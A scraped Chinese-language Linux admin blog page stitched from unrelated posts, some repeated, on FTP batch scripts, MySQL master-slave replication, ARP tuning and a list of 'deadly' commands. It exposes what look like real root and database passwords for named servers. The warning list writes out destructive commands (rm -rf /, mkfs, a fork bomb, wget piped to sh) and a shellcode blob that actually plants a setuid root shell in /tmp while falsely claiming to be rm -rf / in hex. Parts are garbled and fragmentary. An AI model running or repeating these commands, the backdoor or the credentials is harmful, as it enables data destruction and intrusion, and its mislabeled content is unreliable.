Linux创建以当前日期命名的文件夹
今天不知道是做了一件好事还是泄漏了技术秘密,在邮件里告诉别人怎么在Linux下创建以当前日期命名的文件夹的方法。
索性发到网上,全民共享,呵呵
date '+%Y%m%d' |read a
mkdir $a
OK,这就行了!
另注:有朋友说这样实现不了,我觉得原因可能是需要在前面加一句:#! /bin/ksh
(这样可以将shell设置为ksh)
mkdir $time
今天不知道是做了一件好事还是泄漏了技术秘密,在邮件里告诉别人怎么在Linux下创建以当前日期命名的文件夹的方法。
索性发到网上,全民共享,呵呵
date '+%Y%m%d' |read a
mkdir $a
OK,这就行了!
另注:有朋友说这样实现不了,我觉得原因可能是需要在前面加一句:#! /bin/ksh
(这样可以将shell设置为ksh)
1. FTP自动登录批量下载文件。
#####从ftp服务器上的/home/data 到 本地的/home/databackup#### #!/bin/bash ftp -n<<! open 192.168.1.171 user guest 123456 binary cd /home/data lcd /home/databackup prompt mget * close bye ! |
2. FTP自动登录上传文件。
####本地的/home/databackup to ftp服务器上的/home/data#### #!/bin/bash ftp -n<<! open 192.168.1.171 user guest 123456 binary hash cd /home/data lcd /home/databackup prompt mput * close bye ! |
3. FTP自动登录下载单个文件。
####ftp服务器上下载/home/data/a.sh to local /home/databackup#### #!/bin/bash ftp -n<<! open 192.168.1.171 user guest 123456 binary cd /home/data lcd /home/databackup prompt get a.sh a.sh close bye ! |
4. FTP自动登录上传单个文件。
####把本地/home/databachup/a.sh up ftp /home/databackup 下#### #!/bin/bash ftp -n<<! open 192.168.1.171 user guest 123456 binary cd /home/data lcd /home/databackup prompt put a.sh a.sh close bye ! |
小结:把以上脚本另存为文件加入到crontab中即可实现FTP自动上传、下载文 件。
注解:
1. -n 不受.netrc文件的影响。(ftp默认为读取.netrc文件中的设定)
2. << 是使用即时文件重定向输入。
3. !是即时文件的标志它必须成对出现,以标识即时文件的开始和结尾。
當然該語法還有其他相關的用途,以下列出簡單的幾項供大家參考使用,如果你覺得以下的語法不是你想要或是想學更多,你可以到Apache官方網站來看看英文說明書,查看看還有什麼關於 「indexoptions」的用途或是其他不錯的功能喔!
Cpanel 是一款很受欢的web服务控制软件。
不过今天不是来表扬它的,是我发现了它的一个漏洞。
就是当用户删除一个域名的时候,cpanel不会删除这个域名下的邮箱账户。而且如果你先删域名再想去删除邮箱账户的话,就会提示账户不存在的错误,从而无法删除这些多余的邮箱账户。
Linux下,所有用户的信息都被存在一个叫做/etc/passwd 的文件里,所以要看用户列表可以自己写语句到这里去过滤查看,以下是我最近刚写的一个过滤语句。
cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4 }'|more
#!/bin/bash
echo "install some setting for zen cart because of some secure reason..."
for site in /data0/htdocs/*;do
if [ -d $site ]; then
if [ -f $site/includes/application_top.php ]; then
echo $site" is zen cart folder"
chmod 444 -R $site/docs
chmod 444 -R $site/extras
chmod 444 $site/install.txt
rm -rf $site/download
rm -rf $site/media
rm -rf $site/pub
抱歉,只有对本文发表过评论才能阅读隐藏内容
Mysql主从配置
grant replication slave on *.* to replication@10.20.137.148 identified by '123456';
vi /usr/local/mysql/my.cnf
log-bin=mysql-bin
同步的数据库
binlog-do-db=star
不同步的数据库
binlog-ignore-db=information_schema
binlog-ignore-db=mysql
binlog-ignore-db=test
log-bin=mysql-bin
server-id = 2
master-host = 10.20.137.150
master-user = replication
master-password = 123456
同步的数据库
binlog-do-db=star
不同步的数据库
binlog-ignore-db=information_schema
binlog-ignore-db=mysql
binlog-ignore-db=test
主mysql:
mysql> show master status\G
*************************** 1. row ***************************
File: mysql-bin.000005
Position: 106
Binlog_Do_DB: star
Binlog_Ignore_DB: information_schema,mysql,test
1 row in set (0.00 sec)
从mysql:
mysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 10.20.137.150
Master_User: replication
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: mysql-bin.000005
Read_Master_Log_Pos: 106
Relay_Log_File: test02-relay-bin.000012
Relay_Log_Pos: 251
Relay_Master_Log_File: mysql-bin.000005
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB: star
Replicate_Ignore_DB: information_schema,mysql,test
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 106
Relay_Log_Space: 450
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 0
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 0
Last_SQL_Error:
1 row in set (0.00 sec)
3台测试服务器地址:
test01.fbikey.com
test02.fbikey.com
test03.fbikey.com
root / BqqAuJTmXNUz3LXzJyHQfskB7DjdE99o
mysql用户和密码:
sitemanager / UnHGIyDAeID2aVHP6qJv
进入mysql:
/usr/local/mysql/bin/mysql –u sitemanager -pUnHGIyDAeID2aVHP6qJv
启动 /bin/sh /usr/local/mysql/bin/mysqld_safe --defaults-file=/usr/local/mysql/my.cnf &
上面3台测试服务器需要从web8.fbikey.com跳转
root / 23r9&*#hfcnadhb23ad939g0cq2UFH28
http://blog.sina.com.cn/s/blog_474cf12b0100fbp7.html
http://myreligion.javaeye.com/blog/366508
http://kiddymeet.blog.51cto.com/20194/199185
http://www.ai77.org/archives/430
http://hi.chinaunix.net/?uid-227005-action-viewspace-itemid-39545
http://blog.chinaunix.net/u/25969/showart_723396.html
http://www.joinphp.cn/blog/?p=70
http://www.joinphp.cn/blog/?p=75
编者注:如果想让从服务器主动认识主服务器上的新建数据库事件,那么请将binlog-do-db= 的值留空即可!
pr57.fbikey.com
报的错误很奇怪:
[root@proxy057 ~]# curl http://pr57.fbikey.com/phpproxy/
curl: (7) Failed to connect to 213.5.65.19: No buffer space available
经查是ARP表满了,需要调大内核参数中的ARP表
echo 1280 >/proc/sys/net/ipv4/neigh/default/gc_thresh1
echo 5120 >/proc/sys/net/ipv4/neigh/default/gc_thresh2
echo 10240 >/proc/sys/net/ipv4/neigh/default/gc_thresh3
其实很简单只有一句话:
find ./ -type f -name "*.php" | xargs grep "snssharinggroupn"
这句话的功能就是从当前目录开始,查找所有的*.php文件 ,看是否包含有"snssharinggroupn",如果是就输出整行
其实到这里应该就完毕了,但是还是得凑凑字数,做做宣传,首得被google认为是水文,被K。哈哈
费话不多,累了,闪!
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
){
:& };: 著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。
最近评论